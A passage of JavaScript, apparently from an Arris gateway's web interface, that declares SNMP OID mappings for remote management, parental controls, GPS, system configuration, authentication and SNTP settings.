Scalar(\"FWRemoteMgmtHttpPort\",\"1.3.6.1.4.1.4115.1.20.1.1.4.19.12.3\",2);\nFWEnableRemoteMgmt.FWRemoteMgmtHttps= new Scalar(\"FWRemoteMgmtHttps\",\"1.3.6.1.4.1.4115.1.20.1.1.4.19.12.2\",2);\nFWEnableRemoteMgmt.FWRemoteMgmtHttpsPort= new Scalar(\"FWRemoteMgmtHttpsPort\",\"1.3.6.1.4.1.4115.1.20.1.1.4.19.12.4\",2);\nFWEnableRemoteMgmt.FWRemoteMgmtAllowedType      = new Scalar(\"FWRemoteMgmtAllowedType\", \"1.3.6.1.4.1.4115.1.20.1.1.4.19.12.5\", 2);\nFWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv4      = new Scalar(\"FWRemoteMgmtAllowedIPv4\", \"1.3.6.1.4.1.4115.1.20.1.1.4.19.12.6\", 4);\nFWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv6      = new Scalar(\"FWRemoteMgmtAllowedIPv6\", \"1.3.6.1.4.1.4115.1.20.1.1.4.19.12.7\", 4);\nFWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv4 = new Scalar(\"FWRemoteMgmtAllowedStartIPv4\", \"1.3.6.1.4.1.4115.1.20.1.1.4.19.12.8\", 4);\nFWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv4   = new Scalar(\"FWRemoteMgmtAllowedEndIPv4\", \"1.3.6.1.4.1.4115.1.20.1.1.4.19.12.9\", 4);\nFWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv6 = new Scalar(\"FWRemoteMgmtAllowedStartIPv6\", \"1.3.6.1.4.1.4115.1.20.1.1.4.19.12.10\", 4);\nFWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv6   = new Scalar(\"FWRemoteMgmtAllowedEndIPv6\", \"1.3.6.1.4.1.4115.1.20.1.1.4.19.12.11\", 4);\nFWEnableRemoteMgmt.FWRemoteMgmtTelnet           = new Scalar(\"FWRemoteMgmtTelnet\", \"1.3.6.1.4.1.4115.1.20.1.1.4.19.12.12\", 4);\nvar arFWRemoteMgmtHttp = FWEnableRemoteMgmt.FWRemoteMgmtHttp;\nvar arFWRemoteMgmtHttpPort = FWEnableRemoteMgmt.FWRemoteMgmtHttpPort;\nvar arFWRemoteMgmtHttps = FWEnableRemoteMgmt.FWRemoteMgmtHttps;\nvar arFWRemoteMgmtHttpsPort = FWEnableRemoteMgmt.FWRemoteMgmtHttpsPort;\nvar arFWRemoteMgmtAllowedType      =FWEnableRemoteMgmt.FWRemoteMgmtAllowedType      ;\nvar arFWRemoteMgmtAllowedIPv4      =FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv4      ;\nvar arFWRemoteMgmtAllowedIPv6      =FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv6      ;\nvar arFWRemoteMgmtAllowedStartIPv4 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv4 ;\nvar arFWRemoteMgmtAllowedEndIPv4   =FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv4   ;\nvar arFWRemoteMgmtAllowedStartIPv6 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv6 ;\nvar arFWRemoteMgmtAllowedEndIPv6   =FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv6   ;\nvar arFWRemoteMgmtTelnet           =FWEnableRemoteMgmt.FWRemoteMgmtTelnet           ;\n\nvar CmDoc30Acess = new Container(\"CmDoc30Acess\", \"1.3.6.1.4.1.4115.1.3.4.1.2\");\nCmDoc30Acess.RemoteMgmtTelnet    = new Scalar(\"RemoteMgmtTelnet\", \"1.3.6.1.4.1.4115.1.3.4.1.2.2\", 2);\nCmDoc30Acess.RemoteMgmtSSH       = new Scalar(\"RemoteMgmtSSH\", \"1.3.6.1.4.1.4115.1.3.4.1.2.10\", 2);\nvar arRemoteMgmtTelnet           =CmDoc30Acess.RemoteMgmtTelnet          ;\nvar arRemoteMgmtSSH           =CmDoc30Acess.RemoteMgmtSSH           ;\n\n\nvar FWParentalControls = new Container(\"FWParentalControls\", \"1.3.6.1.4.1.4115.1.20.1.1.4.20\");\nFWParentalControls.KeywordCount= new Scalar(\"KeywordCount\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.1\",2);\nFWParentalControls.KeywordClear= new Scalar(\"KeywordClear\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.2\",2);\nFWParentalControls.BlackListCount= new Scalar(\"BlackListCount\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.3\",2);\nFWParentalControls.BlackListClear= new Scalar(\"BlackListClear\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.4\",2);\nFWParentalControls.WhiteListCount= new Scalar(\"WhiteListCount\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.5\",2);\nFWParentalControls.WhiteListClear= new Scalar(\"WhiteListClear\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.6\",2);\nFWParentalControls.TrustedDeviceCount= new Scalar(\"TrustedDeviceCount\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.7\",2);\nFWParentalControls.TrustedDeviceClear= new Scalar(\"TrustedDeviceClear\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.8\",2);\nFWParentalControls.KeywordTableFreeIdx= new Scalar(\"KeywordTableFreeIdx\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.9\",2);\nFWParentalControls.BlackListFreeIdx= new Scalar(\"BlackListFreeIdx\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.11\",2);\nFWParentalControls.WhiteListFreeIdx= new Scalar(\"WhiteListFreeIdx\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.13\",2);\nFWParentalControls.TrustedDeviceFreeIdx= new Scalar(\"TrustedDeviceFreeIdx\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.15\",2);\nFWParentalControls.EnableParentalCont= new Scalar(\"EnableParentalCont\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.17\",2);\nFWParentalControls.ManagedSitesEnabled= new Scalar(\"ManagedSitesEnabled\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.18\",2);\nFWParentalControls.ManagedServicesEnabled= new Scalar(\"ManagedServicesEnabled\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.19\",2);\nFWParentalControls.ManagedDevicesEnabled= new Scalar(\"ManagedDevicesEnabled\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.20\",2);\nvar arKeywordCount=FWParentalControls.KeywordCount;\nvar arKeywordClear=FWParentalControls.KeywordClear;\nvar arBlackListCount=FWParentalControls.BlackListCount;\nvar arBlackListClear=FWParentalControls.BlackListClear;\nvar arWhiteListCount=FWParentalControls.WhiteListCount;\nvar arWhiteListClear=FWParentalControls.WhiteListClear;\nvar arTrustedDeviceCount=FWParentalControls.TrustedDeviceCount;\nvar arTrustedDeviceClear=FWParentalControls.TrustedDeviceClear;\nvar arKeywordTableFreeIdx=FWParentalControls.KeywordTableFreeIdx;\nvar arBlackListFreeIdx=FWParentalControls.BlackListFreeIdx;\nvar arWhiteListFreeIdx=FWParentalControls.WhiteListFreeIdx;\nvar arTrustedDeviceFreeIdx=FWParentalControls.TrustedDeviceFreeIdx;\nvar arEnableParentalCont=FWParentalControls.EnableParentalCont;\nvar arManagedSitesEnabled=FWParentalControls.ManagedSitesEnabled;\nvar arManagedServicesEnabled=FWParentalControls.ManagedServicesEnabled;\nvar arManagedDevicesEnabled=FWParentalControls.ManagedDevicesEnabled;\n\nvar KeywordBlkTable = new Table(\"KeywordBlkTable\", \"1.3.6.1.4.1.4115.1.20.1.1.4.20.10\");\nKeywordBlkTable.KeywordBlkIndex = new Column(\"KeywordBlkIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.1\",2);\nKeywordBlkTable.KeywordBlkWord = new Column(\"KeywordBlkWord\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.2\",4);\nKeywordBlkTable.KeywordBlkTOD = new Column(\"KeywordBlkTOD\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.3\",2);\nKeywordBlkTable.KeywordBlkStatus = new Column(\"KeywordBlkStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.4\",2);\nKeywordBlkTable.KeywordBlkStartMin = new Column(\"KeywordBlkStartMin\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.5\",2);\nKeywordBlkTable.KeywordBlkEndMin = new Column(\"KeywordBlkEndMin\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.6\",2);\nvar arKeywordBlkIndex=KeywordBlkTable.KeywordBlkIndex;\nvar arKeywordBlkWord=KeywordBlkTable.KeywordBlkWord;\nvar arKeywordBlkTOD=KeywordBlkTable.KeywordBlkTOD;\nvar arKeywordBlkStatus=KeywordBlkTable.KeywordBlkStatus;\nvar arKeywordBlkStartMin=KeywordBlkTable.KeywordBlkStartMin;\nvar arKeywordBlkEndMin=KeywordBlkTable.KeywordBlkEndMin;\n\nvar BlackListTable = new Table(\"BlackListTable\", \"1.3.6.1.4.1.4115.1.20.1.1.4.20.12\");\nBlackListTable.BlackListIndex = new Column(\"BlackListIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.1\",2);\nBlackListTable.BlackListDomain = new Column(\"BlackListDomain\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.2\",4);\nBlackListTable.BlackListTOD = new Column(\"BlackListTOD\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.3\",2);\nBlackListTable.BlackListStatus = new Column(\"BlackListStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.4\",2);\nBlackListTable.BlackListStartMin = new Column(\"BlackListStartMin\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.5\",2);\nBlackListTable.BlackListEndMin = new Column(\"BlackListEndMin\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.6\",2);\nvar arBlackListIndex=BlackListTable.BlackListIndex;\nvar arBlackListDomain=BlackListTable.BlackListDomain;\nvar arBlackListTOD=BlackListTable.BlackListTOD;\nvar arBlackListStatus=BlackListTable.BlackListStatus;\nvar arBlackListStartMin=BlackListTable.BlackListStartMin;\nvar arBlackListEndMin=BlackListTable.BlackListEndMin;\n\nvar WhiteListTable = new Table(\"WhiteListTable\", \"1.3.6.1.4.1.4115.1.20.1.1.4.20.14\");\nWhiteListTable.WhiteListIndex = new Column(\"WhiteListIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.1\",2);\nWhiteListTable.WhiteListDomain = new Column(\"WhiteListDomain\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.2\",4);\nWhiteListTable.WhiteListTOD = new Column(\"WhiteListTOD\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.3\",2);\nWhiteListTable.WhiteListStatus = new Column(\"WhiteListStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.4\",2);\nvar arWhiteListIndex=WhiteListTable.WhiteListIndex;\nvar arWhiteListDomain=WhiteListTable.WhiteListDomain;\nvar arWhiteListTOD=WhiteListTable.WhiteListTOD;\nvar arWhiteListStatus=WhiteListTable.WhiteListStatus;\n\nvar TrustedDeviceTable = new Table(\"TrustedDeviceTable\", \"1.3.6.1.4.1.4115.1.20.1.1.4.20.16\");\nTrustedDeviceTable.TrustedDeviceIndex = new Column(\"TrustedDeviceIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.1\",2);\nTrustedDeviceTable.TrustedDeviceMAC = new Column(\"TrustedDeviceMAC\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.2\",4, 1);\nTrustedDeviceTable.TrustedDeviceStatus = new Column(\"TrustedDeviceStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.3\",2);\nTrustedDeviceTable.TrustedDeviceName = new Column(\"TrustedDeviceName\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.4\",4);\nTrustedDeviceTable.TrustedDeviceAddrType = new Column(\"TrustedDeviceAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.5\",2);\nTrustedDeviceTable.TrustedDeviceAddr = new Column(\"TrustedDeviceAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.6\",4, 1);\nvar arTrustedDeviceIndex=TrustedDeviceTable.TrustedDeviceIndex;\nvar arTrustedDeviceMAC=TrustedDeviceTable.TrustedDeviceMAC;\nvar arTrustedDeviceStatus=TrustedDeviceTable.TrustedDeviceStatus;\nvar arTrustedDeviceName=TrustedDeviceTable.TrustedDeviceName;\nvar arTrustedDeviceAddrType=TrustedDeviceTable.TrustedDeviceAddrType;\nvar arTrustedDeviceAddr=TrustedDeviceTable.TrustedDeviceAddr;\n\nvar TrustedDeviceManagedServicesTable = new Table(\"TrustedDeviceManagedServicesTable\", \"1.3.6.1.4.1.4115.1.20.1.1.4.20.21\");\nTrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesIndex = new Column(\"TrustedDeviceManagedServicesIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.1\",2);\nTrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesMAC = new Column(\"TrustedDeviceManagedServicesMAC\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.2\",4, 1);\nTrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesStatus = new Column(\"TrustedDeviceManagedServicesStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.3\",2);\nTrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesName = new Column(\"TrustedDeviceManagedServicesName\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.4\",4);\nTrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddrType = new Column(\"TrustedDeviceManagedServicesAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.5\",2);\nTrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddr = new Column(\"TrustedDeviceManagedServicesAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.6\",4, 1);\nvar arTrustedDeviceManagedServicesIndex=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesIndex;\nvar arTrustedDeviceManagedServicesMAC=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesMAC;\nvar arTrustedDeviceManagedServicesStatus=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesStatus;\nvar arTrustedDeviceManagedServicesName=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesName;\nvar arTrustedDeviceManagedServicesAddrType=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddrType;\nvar arTrustedDeviceManagedServicesAddr=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddr;\n\n// OG1600 GPS support\nvar GpsCfg = new Container(\"GpsCfg\", \"1.3.6.1.4.1.4115.12\");\nGpsCfg.GpsScanOnBoot= new Scalar(\"GpsScanOnBoot\",\"1.3.6.1.4.1.4115.12.1\",2);\nGpsCfg.GpsScanPeriodically= new Scalar(\"GpsScanPeriodically\",\"1.3.6.1.4.1.4115.12.2\",2);\nGpsCfg.GpsPeriodicInterval= new Scalar(\"GpsPeriodicInterval\",\"1.3.6.1.4.1.4115.12.3\",66);\nGpsCfg.GpsPeriodicTime= new Scalar(\"GpsPeriodicTime\",\"1.3.6.1.4.1.4115.12.4\",4);\nGpsCfg.GpsPowerDownAfterSuccessfulScan= new Scalar(\"GpsPowerDownAfterSuccessfulScan\",\"1.3.6.1.4.1.4115.12.5\",2);\nGpsCfg.GpsScanTimeout= new Scalar(\"GpsScanTimeout\",\"1.3.6.1.4.1.4115.12.6\",66);\nGpsCfg.GpsScanStatus= new Scalar(\"GpsScanStatus\",\"1.3.6.1.4.1.4115.12.7\",66);\nGpsCfg.GpsErrorDetails= new Scalar(\"GpsErrorDetails\",\"1.3.6.1.4.1.4115.12.8\",4);\nGpsCfg.GpsLastScanTime= new Scalar(\"GpsLastScanTime\",\"1.3.6.1.4.1.4115.12.9\",4);\nGpsCfg.GpsLastSuccessfulScanTime= new Scalar(\"GpsLastSuccessfulScanTime\",\"1.3.6.1.4.1.4115.12.10\",4);\nGpsCfg.GpsLockedLatitude= new Scalar(\"GpsLockedLatitude\",\"1.3.6.1.4.1.4115.12.11\",4);\nGpsCfg.GpsLockedLongitude= new Scalar(\"GpsLockedLongitude\",\"1.3.6.1.4.1.4115.12.12\",4);\nGpsCfg.GpsNumberOfSatellites= new Scalar(\"GpsNumberOfSatellites\",\"1.3.6.1.4.1.4115.12.13\",66);\nGpsCfg.GpsReset= new Scalar(\"GpsReset\",\"1.3.6.1.4.1.4115.12.14\",2);\nGpsCfg.GpsSuccessfulScanSinceBootup= new Scalar(\"GpsSuccessfulScanSinceBootup\",\"1.3.6.1.4.1.4115.12.15\",2);\n\nvar arGpsScanOnBoot=GpsCfg.GpsScanOnBoot;\nvar arGpsScanPeriodically=GpsCfg.GpsScanPeriodically;\nvar arGpsPeriodicInterval=GpsCfg.GpsPeriodicInterval;\nvar arGpsPeriodicTime=GpsCfg.GpsPeriodicTime;\nvar arGpsPowerDownAfterSuccessfulScan=GpsCfg.GpsPowerDownAfterSuccessfulScan;\nvar arGpsScanTimeout=GpsCfg.GpsScanTimeout;\nvar arGpsScanStatus=GpsCfg.GpsScanStatus;\nvar arGpsErrorDetails=GpsCfg.GpsErrorDetails;\nvar arGpsLastScanTime=GpsCfg.GpsLastScanTime;\nvar arGpsLastSuccessfulScanTime=GpsCfg.GpsLastSuccessfulScanTime;\nvar arGpsLockedLatitude=GpsCfg.GpsLockedLatitude;\nvar arGpsLockedLongitude=GpsCfg.GpsLockedLongitude;\nvar arGpsNumberOfSatellites=GpsCfg.GpsNumberOfSatellites;\nvar arGpsReset=GpsCfg.GpsReset;\nvar arGpsSuccessfulScanSinceBootup=GpsCfg.GpsSuccessfulScanSinceBootup;\n\nvar SysCfg = new Container(\"SysCfg\", \"1.3.6.1.4.1.4115.1.20.1.1.5\");\nSysCfg.AdminPassword= new Scalar(\"AdminPassword\",\"1.3.6.1.4.1.4115.1.20.1.1.5.1\",4);\nSysCfg.AdminTimeout= new Scalar(\"AdminTimeout\",\"1.3.6.1.4.1.4115.1.20.1.1.5.2\",66);\nSysCfg.TimeZoneUTCOffset= new Scalar(\"TimeZoneUTCOffset\",\"1.3.6.1.4.1.4115.1.20.1.1.5.3\",2);\nSysCfg.Reboot= new Scalar(\"Reboot\",\"1.3.6.1.4.1.4115.1.20.1.1.5.4\",2);\nSysCfg.Defaults= new Scalar(\"Defaults\",\"1.3.6.1.4.1.4115.1.20.1.1.5.5\",2);\nSysCfg.Language= new Scalar(\"Language\",\"1.3.6.1.4.1.4115.1.20.1.1.5.6\",4);\nSysCfg.Name= new Scalar(\"Name\",\"1.3.6.1.4.1.4115.1.20.1.1.5.7\",4);\nSysCfg.SerialNumber= new Scalar(\"SerialNumber\",\"1.3.6.1.4.1.4115.1.20.1.1.5.8\",4);\nSysCfg.BootCodeVersion= new Scalar(\"BootCodeVersion\",\"1.3.6.1.4.1.4115.1.20.1.1.5.9\",4);\nSysCfg.HardwareVersion= new Scalar(\"HardwareVersion\",\"1.3.6.1.4.1.4115.1.20.1.1.5.10\",4);\nSysCfg.FirmwareVersion= new Scalar(\"FirmwareVersion\",\"1.3.6.1.4.1.4115.1.20.1.1.5.11\",4);\nSysCfg.LogLevel= new Scalar(\"LogLevel\",\"1.3.6.1.4.1.4115.1.20.1.1.5.12\",2);\nSysCfg.CustomSettings= new Scalar(\"CustomSettings\",\"1.3.6.1.4.1.4115.1.20.1.1.5.13\",4,1);\nSysCfg.CustomID= new Scalar(\"CustomID\",\"1.3.6.1.4.1.4115.1.20.1.1.5.14\",2);\nSysCfg.CurrentTime= new Scalar(\"CurrentTime\",\"1.3.6.1.4.1.4115.1.20.1.1.5.15\",4,1);\nSysCfg.TACACSAddr= new Scalar(\"TACACSAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.5.20\",4,1);\nSysCfg.TACACSPort= new Scalar(\"TACACSPort\",\"1.3.6.1.4.1.4115.1.20.1.1.5.21\",2);\nSysCfg.TACACSSecretKey= new Scalar(\"TACACSSecretKey\",\"1.3.6.1.4.1.4115.1.20.1.1.5.22\",4,1);\nSysCfg.XmlProvisioningFile= new Scalar(\"XmlProvisioningFile\",\"1.3.6.1.4.1.4115.1.20.1.1.5.23\",4);\nSysCfg.XmlProvisioningStatus= new Scalar(\"XmlProvisioningStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.5.24\",2);\nSysCfg.BlockNonArrisDevices= new Scalar(\"BlockNonArrisDevices\",\"1.3.6.1.4.1.4115.1.20.1.1.5.26\",2);\nSysCfg.DHCPLogLevel= new Scalar(\"DHCPLogLevel\",\"1.3.6.1.4.1.4115.1.20.1.1.5.27\",2);\nSysCfg.TechnicianName= new Scalar(\"TechnicianName\",\"1.3.6.1.4.1.4115.1.20.1.1.5.28\",4);\nSysCfg.EnableLanEtherPrivateWanBlock= new Scalar(\"EnableLanEtherPrivateWanBlock\",\"1.3.6.1.4.1.4115.1.20.1.1.5.29\",2);\nSysCfg.TACACSIPAddrType= new Scalar(\"TACACSIPAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.5.30\",2);\nSysCfg.TACACSIPAddr= new Scalar(\"TACACSIPAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.5.31\",4,1);\nSysCfg.EnabledInterfaces= new Scalar(\"EnabledInterfaces\",\"1.3.6.1.4.1.4115.1.20.1.1.5.32\",2);\nSysCfg.EnabledInterfacesString= new Scalar(\"EnabledInterfacesString\",\"1.3.6.1.4.1.4115.1.20.1.1.5.33\",4);\nSysCfg.InboundTrafficLogEnable= new Scalar(\"InboundTrafficLogEnable\",\"1.3.6.1.4.1.4115.1.20.1.1.5.34\",2);\nSysCfg.NATPBypassEnable= new Scalar(\"NATPBypassEnable\",\"1.3.6.1.4.1.4115.1.20.1.1.5.35\",2);\nSysCfg.NATDebug= new Scalar(\"NATDebug\",\"1.3.6.1.4.1.4115.1.20.1.1.5.36\",2);\nSysCfg.DisableResetButton= new Scalar(\"DisableResetButton\",\"1.3.6.1.4.1.4115.1.20.1.1.5.37\",2);\nSysCfg.DHCPOption43Sub2= new Scalar(\"DHCPOption43Sub2\",\"1.3.6.1.4.1.4115.1.20.1.1.5.38\",4,1);\nSysCfg.DHCPOption43Sub3= new Scalar(\"DHCPOption43Sub3\",\"1.3.6.1.4.1.4115.1.20.1.1.5.39\",4,1);\nSysCfg.ESTBDHCPOption43Sub2= new Scalar(\"ESTBDHCPOption43Sub2\",\"1.3.6.1.4.1.4115.1.20.1.1.5.40\",4,1);\nSysCfg.ESTBDHCPOption43Sub3= new Scalar(\"ESTBDHCPOption43Sub3\",\"1.3.6.1.4.1.4115.1.20.1.1.5.41\",4,1);\nSysCfg.ClientTrackingEnable= new Scalar(\"ClientTrackingEnable\",\"1.3.6.1.4.1.4115.1.20.1.1.5.43\",2);\nSysCfg.SystemFlags= new Scalar(\"SystemFlags\",\"1.3.6.1.4.1.4115.1.20.1.1.5.44\",2);\nSysCfg.CpuSpeed= new Scalar(\"CpuSpeed\",\"1.3.6.1.4.1.4115.1.20.1.1.5.64\",2);\nSysCfg.FlashSize= new Scalar(\"FlashSize\",\"1.3.6.1.4.1.4115.1.20.1.1.5.52\",2);\nSysCfg.RamSize= new Scalar(\"RamSize\",\"1.3.6.1.4.1.4115.1.20.1.1.5.53\",2);\nSysCfg.SaveCurrentConfigFile= new Scalar(\"SaveCurrentConfigFile\",\"1.3.6.1.4.1.4115.1.20.1.1.5.57\",2);\nSysCfg.RestoreCurrentConfigFile= new Scalar(\"RestoreCurrentConfigFile\",\"1.3.6.1.4.1.4115.1.20.1.1.5.58\",2);\nSysCfg.FlashAvailSize= new Scalar(\"FlashAvailSize\",\"1.3.6.1.4.1.4115.1.20.1.1.5.60\",2);\nSysCfg.RamAvailSize= new Scalar(\"RamAvailSize\",\"1.3.6.1.4.1.4115.1.20.1.1.5.61\",2);\nvar arAdminPassword=SysCfg.AdminPassword;\nvar arAdminTimeout=SysCfg.AdminTimeout;\nvar arTimeZoneUTCOffset=SysCfg.TimeZoneUTCOffset;\nvar arReboot=SysCfg.Reboot;\nvar arDefaults=SysCfg.Defaults;\nvar arLanguage=SysCfg.Language;\nvar arName=SysCfg.Name;\nvar arSerialNumber=SysCfg.SerialNumber;\nvar arBootCodeVersion=SysCfg.BootCodeVersion;\nvar arHardwareVersion=SysCfg.HardwareVersion;\nvar arFirmwareVersion=SysCfg.FirmwareVersion;\nvar arLogLevel=SysCfg.LogLevel;\nvar arCustomSettings=SysCfg.CustomSettings;\nvar arCustomID=SysCfg.CustomID;\nvar arCurrentTime=SysCfg.CurrentTime;\nvar arTACACSAddr=SysCfg.TACACSAddr;\nvar arTACACSPort=SysCfg.TACACSPort;\nvar arTACACSSecretKey=SysCfg.TACACSSecretKey;\nvar arXmlProvisioningFile=SysCfg.XmlProvisioningFile;\nvar arXmlProvisioningStatus=SysCfg.XmlProvisioningStatus;\nvar arBlockNonArrisDevices=SysCfg.BlockNonArrisDevices;\nvar arDHCPLogLevel=SysCfg.DHCPLogLevel;\nvar arTechnicianName=SysCfg.TechnicianName;\nvar arEnableLanEtherPrivateWanBlock=SysCfg.EnableLanEtherPrivateWanBlock;\nvar arTACACSIPAddrType=SysCfg.TACACSIPAddrType;\nvar arTACACSIPAddr=SysCfg.TACACSIPAddr;\nvar arEnabledInterfaces=SysCfg.EnabledInterfaces;\nvar arEnabledInterfacesString=SysCfg.EnabledInterfacesString;\nvar arInboundTrafficLogEnable=SysCfg.InboundTrafficLogEnable;\nvar arNATPBypassEnable=SysCfg.NATPBypassEnable;\nvar arNATDebug=SysCfg.NATDebug;\nvar arDisableResetButton=SysCfg.DisableResetButton;\nvar arDHCPOption43Sub2=SysCfg.DHCPOption43Sub2;\nvar arDHCPOption43Sub3=SysCfg.DHCPOption43Sub3;\nvar arESTBDHCPOption43Sub2=SysCfg.ESTBDHCPOption43Sub2;\nvar arESTBDHCPOption43Sub3=SysCfg.ESTBDHCPOption43Sub3;\nvar arClientTrackingEnable=SysCfg.ClientTrackingEnable;\nvar arSystemFlags=SysCfg.SystemFlags;\nvar arCpuSpeed=SysCfg.CpuSpeed;\nvar arFlashSize=SysCfg.FlashSize;\nvar arRamSize=SysCfg.RamSize;\nvar arSaveCurrentConfigFile=SysCfg.SaveCurrentConfigFile;\nvar arRestoreCurrentConfigFile=SysCfg.RestoreCurrentConfigFile;\nvar arFlashAvailSize=SysCfg.FlashAvailSize;\nvar arRamAvailSize=SysCfg.RamAvailSize;\n\nvar AuthTable = new Table(\"AuthTable\", \"1.3.6.1.4.1.4115.1.20.1.1.5.16\");\nAuthTable.AuthIndex = new Column(\"AuthIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.5.16.1.1\",66);\nAuthTable.AuthUserName = new Column(\"AuthUserName\",\"1.3.6.1.4.1.4115.1.20.1.1.5.16.1.2\",4);\nAuthTable.AuthPassword = new Column(\"AuthPassword\",\"1.3.6.1.4.1.4115.1.20.1.1.5.16.1.3\",4);\nAuthTable.AuthType = new Column(\"AuthType\",\"1.3.6.1.4.1.4115.1.20.1.1.5.16.1.4\",4,1);\nvar arAuthIndex=AuthTable.AuthIndex;\nvar arAuthUserName=AuthTable.AuthUserName;\nvar arAuthPassword=AuthTable.AuthPassword;\nvar arAuthType=AuthTable.AuthType;\n\nvar SNTPSettings = new Container(\"SNTPSettings\", \"1.3.6.1.4.1.4115.1.20.1.1.5.17\");\nSNTPSettings.EnableSNTP= new Scalar(\"EnableSNTP\",\"1.3.6.1.4.1.4115.1.20.1.1.5.17.1\",2);\nSNTPSettings.ApplySNTPSettings= new Scalar(\"ApplySNTPSettings\",\"1.3.6.1.4.1.4115.1.20.1.1.5.17.2\",2);\nSNTPSettings.SNTPTableFreeIdx= new Scalar(\"SNTPTableFreeIdx\",\"1.3.6.1.4.1.4115.1.20.1.1.5.17.3\",2);\nvar arEnableSNTP=SNTPSettings.EnableSNTP;\nvar arApplySNTPSettings=SNTPSettings.ApplySNTPSettings;\nvar arSNTPTableFreeIdx=SNTPSettings.SNTPTableFreeIdx;\n\nvar SNTPServerTable = new Table(\"SNTPServerTable\", \"1.3.6.1.4.1.4115.1.20.1.1.5.17.4\");\nSNTPServerTable.SNTPServerIndex = new Column(\"SNTPServerIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.1\",2);\nSNTPServerTable.SNTPServerAddrType = new Column(\"SNTPServerAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.2\",2);\nSNTPServerTable.SNTPServerAddr = new Column(\"SNTPServerAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.3\",4,1);\nSNTPServerTable.SNTPServerName = new Column(\"SNTPServerName\",\"1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.4\",4);\nSNTPServerTable.SNTPServerStatus = new Column(\"SNTPServerStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.5\",2);\nvar arSNTPServerIndex=SNTPServerTable.SNTPServerIndex;\nvar arSNTPServerAddrType=SNTPServerTable.SNTPServerAddrType;\nvar arSNTPServerAddr=SNTPServerTable.SNTPServerAddr;\nvar arSNTPServerName=SNTPServerTable.SNTPServerName;\nvar arSNTPServerStatus=SNTPServerTable.SNTPServerStatus;\n\nvar EmailSettings = new Container(\"EmailSettings\", 